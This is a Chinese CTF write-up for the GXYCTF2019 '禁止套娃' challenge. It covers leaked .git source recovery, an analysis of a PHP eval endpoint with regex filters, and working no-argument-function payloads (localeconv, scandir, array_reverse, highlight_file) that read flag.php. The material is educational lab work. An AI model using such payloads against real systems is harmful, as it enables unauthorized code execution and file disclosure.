首页 > 其他分享 >CTF笔记——[GXYCTF2019]禁止套娃 1

CTF笔记——[GXYCTF2019]禁止套娃 1

时间:2024-03-15 11:14:02浏览次数:31  
标签:套娃 string int 括号 CTF exp 127 匹配 GXYCTF2019

[GXYCTF2019]禁止套娃1

打开题目之后什么都没看到

所以进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

# Dirsearch started Sun Mar 10 15:19:39 2024 as: D:\Python\Scripts\dirsearch -u http://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/ -x 429 -i 200 -t 5

200    73B   http://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/.git/description

于是尝试使用GitHack还原源代码

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

    {             //不允许使用php协议

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

        {                   //替换为空字符,匹配的形式是形如a();的无参数的表达式

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

            {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else

            {

                die("还差一点哦!");

            }

        }

        else

        {

            die("再好好想想!");

        }

    }

    else

    {

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

  

?>

使用了正则表达式来过滤,这里其他的都好说,但是嵌套正则表达式(?R)?有点不懂了
下边是AI的解答:

这是一个递归正则表达式,用来匹配嵌套的括号里的内容:

  • [a-z,_]+匹配一个或多个字母、下划线或逗号
  • (匹配开括号
  • (?R)?匹配嵌套的正则表达式本身,?表示0或1次
  • )匹配闭括号
  • 括号内无参数

所以整体匹配的格式是:

字母/下划线/逗号 + 开括号 + (嵌套的相同格式 0或1次) + 闭括号

举个例子:

它可以匹配:

func(func()) name(_name()) list(list(1,2),3)

但不能匹配没有正确匹配括号的情况,如:

func() name(func

也就是说它可以匹配任意深度的嵌套括号内的名称,但括号必须正确嵌套匹配。

下边举几个蚕豆让大家理解一下:
以下的几种形式都是可以通过正则匹配的:

hello();
hello(world());
hey(hey(hjgf()));
var_dump(pos(scandir()));

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

注:
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。

var_dump(localeconv());
结果如下
array(18) 
{ 
["decimal_point"]=> string(1) "." 
["thousands_sep"]=> string(0) "" 
["int_curr_symbol"]=> string(0) "" 
["currency_symbol"]=> string(0) "" 
["mon_decimal_point"]=> string(0) "" 
["mon_thousands_sep"]=> string(0) "" 
["positive_sign"]=> string(0) "" 
["negative_sign"]=> string(0) "" 
["int_frac_digits"]=> int(127) 
["frac_digits"]=> int(127) 
["p_cs_precedes"]=> int(127) 
["p_sep_by_space"]=> int(127) 
["n_cs_precedes"]=> int(127) 
["n_sep_by_space"]=> int(127) 
"p_sign_posn"]=> int(127) 
["n_sign_posn"]=> int(127) 
["grouping"]=> array(0) { } 
["mon_grouping"]=> array(0) { } 
}

可以发现localeconv()函数返回的数组中的第一个元素是.也就是可以利用的地方了

?exp=var_dump(scandir(pos(localeconv())));

注:
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。

array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

发现咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));

注:
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
所以说必须要好好学习php的数组操作了

结果如下:

string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
<?php  
$flag = "flag{73a380bb-591f-4805-a4a2-b713f696869c}";  
?>

标签:套娃,string,int,括号,CTF,exp,127,匹配,GXYCTF2019
From: https://www.cnblogs.com/xiaoyaotonhxue/p/18074978

相关文章

  • BJDCTF2020[encode]
    题目:encode,地址:encode查壳发现时upx壳,使用工具脱壳命令"upx-d",如果遇到工具脱不了的壳就手动脱壳,手动脱壳请帅哥美女*们看这篇手动脱壳。使用ida打开,观察逻辑后重命名函数:逻辑为一个换表base64+异或+RC4。其中RC4可以根据函数传入key,进而生成Box盒子来判断:知道逻辑后......
  • CTF练习日记——[HCTF 2018]WarmUp 1
    一点进去就是一个大大的笑脸,暂时没有头绪,点开页面源码试试看发现了一个source.php,从这里入手试试呢能看到在source.php中有许多的if语句,猜测适用于验证过滤啥的,但看的不是太懂,一个个分析下先这里isset()验证变量是否声明,is_string判断是否是字符串,只要有一个不符合,就会输出......
  • CTF练习日记——[极客大挑战 2019]EasySQL
    启动靶机后,首先能看到这样一个界面:这个题是和SQL注入相关,首先随意输入username和password试试看:提示用户名和密码错误,那么我们尝试输入用户名输入1',得到提示SQL语句出错,那么我们就可以从这里下手,直接在用户名那输入1'or'1'='1#注入成功,得到了我们需要的flag:flag{08f72......
  • CTF练习日记——[极客大挑战 2019]Havefun 1
    开启靶机后,看到该界面,一只可爱的小猫,题目也没有更多信息,查看源代码试试看我们可以看到这样一段代码,我们试试cat=dog,发现结果自己出来了,得到了flag:flag{4962ffca-1564-415b-b9e0-77699a797784}......
  • CTF学习的第二天
    完成了CTFHUB中web前置技能剩下的两道题web前置技能-HTTP协议4.基础认证在这道题中,打开靶机看题目意思,有一个可以点击的click选项,正常思路点了一下,出来了一个登陆界面,先尝试了一下admin并不正确尝试用bp抓包,发现了一串Base64编码复制一下去解密看看发现admin中间有一个:......
  • [BJDCTF2020]Easy MD5 1
    [BJDCTF2020]EasyMD51审题看到一个登录框,并且题目为ezMD5,猜测使用md5绕过SQL知识点md5的绕过解题使用ffifdyop绕过SQL查看源代码弱比较绕过输入?a[]=1&b[]=2发现为===强比较,由于md5对数组不敏感也可以使用数组绕过,这是md5的另一个特性,就是md5无法对数组进行......
  • [RoarCTF 2019]Easy Calc 1
    [RoarCTF2019]EasyCalc1审题题目就是一个计算器。看到源代码有calc.php进入看到waf的源代码知识点RCE解题审核代码<?phperror_reporting(0);if(!isset($_GET['num'])){show_source(__FILE__);}else{$str=$_GET['num'];$blacklist=[......
  • [ACTF2020 新生赛]BackupFile 1
    [ACTF2020新生赛]BakupFil1审题让我们找到源代码。题目为bakup尝试index.php.bak下载成功知识点bak备份文件,简单RCE。解题看到index.php代码<?phpinclude_once"flag.php";if(isset($_GET['key'])){$key=$_GET['key'];if(!is_numeric($key)){......
  • 文件上传[SUCTF 2019]CheckIn
    文件上传[SUCTF2019]CheckIn打开提交js图片马后台检测文件类型在木马出添加GIF89a绕过显示上传成功的地址uploads/f65a0ca982c669865231909b0ec85a0c上传.user.ini解马关于.user.ini和.htaccess后者有局限性,只能用于apache前者只要能运行php都可用auto_prepend_file......
  • 文件上传例题:[GXYCTF2019]BabyUpload
    文件上传例题:[GXYCTF2019]BabyUpload打开网址明显文件上传上传简单php马尝试后缀名过滤,使用BP抓包进行修改提示文件类型不对,修改成image/jpeg提示还是php,那换成js马<scriptlanguage="php">eval($_POST['cmd']);</script>上传成功解析php代码需要.htaccess文件在文......